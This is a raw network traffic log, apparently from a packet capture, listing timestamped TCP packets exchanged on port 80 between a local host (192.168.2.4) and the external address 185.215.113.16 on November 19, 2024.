Nov 19, 2024 19:14:18.529882908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.529963017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.529973030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.529989004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530005932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530019045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530085087 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.530085087 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.530102015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530116081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530133963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530150890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530245066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530260086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530276060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530293941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530369997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530495882 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.530495882 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.530495882 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.530495882 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.530495882 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.530509949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530527115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530543089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530558109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530575037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530595064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530612946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.530612946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.530694962 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.530726910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530740976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530824900 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.530872107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530888081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530905962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530921936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530939102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.530956030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531063080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.531063080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.531063080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.531210899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531225920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531243086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531255960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531274080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531277895 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.531290054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531306028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531341076 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.531348944 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.531519890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531537056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531557083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531605005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531619072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531632900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531642914 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.531642914 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.531650066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531663895 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.531668901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531686068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531749010 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.531749010 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.531891108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531907082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531923056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531939030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531956911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531974077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.531989098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.532006025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.532103062 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.532103062 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.532103062 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.532103062 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.532258987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.532279968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.532296896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.532313108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.532329082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.532344103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.532360077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.532375097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.532469988 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.532470942 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.532470942 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.532470942 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.566895962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.566945076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.566968918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.566988945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.567007065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.567013979 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.567049980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.567066908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.567111015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.567126036 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.567126036 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.567187071 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.568171978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.568238020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.568255901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.568340063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.568356991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.568373919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.568447113 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.568447113 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.568447113 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.568448067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.568532944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.568550110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.568564892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.568581104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.568605900 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.568664074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.568681002 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.568710089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.568728924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.568742990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.568803072 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.568821907 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.574485064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.574523926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.574541092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.574561119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.574580908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.574584007 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.574604988 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.574637890 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.574671030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.574680090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.574687958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.574695110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.574770927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.576112032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.576149940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.576168060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.576266050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.576284885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.576358080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.576375961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.576841116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.576894045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.576909065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.576970100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.576986074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.577004910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.577068090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.577121019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.578386068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.637367010 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.642530918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.642604113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.642642975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.642682076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.642697096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.642734051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.642771959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.642812967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.642827988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.642863989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.642899036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.642923117 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.642923117 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.642923117 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.642923117 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.642924070 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.642939091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.643008947 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.643157005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.643234968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.643271923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.643304110 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.643309116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.643384933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.643420935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.643455982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.643456936 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.643491030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.643569946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.643599033 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.643599033 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.643609047 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.643647909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.643687010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.643697977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.643713951 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.643733978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.643769979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.643783092 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.643783092 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.643804073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.643838882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.643873930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.643892050 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.643939972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.643966913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.644201040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.644237041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.644254923 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.644287109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.644321918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.644356012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.644391060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.644418001 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.644418001 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.644424915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.644458055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.644493103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.644526958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.644581079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.644614935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.644649982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.644685984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.644722939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.644728899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.644728899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.644728899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.644728899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.644757986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.644793987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.644828081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.644953012 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.644953012 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.645155907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.645172119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.645205975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.645212889 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.645242929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.645277977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.645282984 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.645314932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.645348072 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.645361900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.645396948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.645431995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.645451069 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.645467997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.645502090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.645538092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.645565033 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.645565033 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.645574093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.645610094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.645643950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.645647049 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.645678997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.645719051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.645725965 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.645754099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.645790100 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.653778076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.653810978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.653829098 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.653867960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.653918982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.653940916 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.653951883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.653987885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.654015064 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.654023886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.654063940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.654088020 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.655103922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.655139923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.655194998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.655213118 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.655230045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.655267000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.655304909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.655320883 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.655320883 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.655364037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.655419111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.655436039 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.655455112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.655513048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.655550003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.655585051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.655589104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.655616999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.655631065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.655678034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.655716896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.655745983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.655929089 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.655929089 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.661453009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.661508083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.661561012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.661577940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.661597967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.661617041 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.661633968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.661669970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.661706924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.661849022 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.661849022 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.662965059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.663017035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.663111925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.663146973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.663182974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.663218975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.663224936 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.663224936 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.663253069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.663286924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.663340092 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.663340092 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.663743019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.663798094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.663832903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.663867950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.663880110 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.663933039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.663968086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.663971901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.664005041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.664035082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.664071083 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.664128065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.704510927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.704533100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.704550028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.704567909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.704582930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.704598904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.704613924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.704633951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.704636097 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.704659939 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.704725027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.705797911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.706084967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.706119061 CET	80	49738	185.215.113.16	192.168.2.4
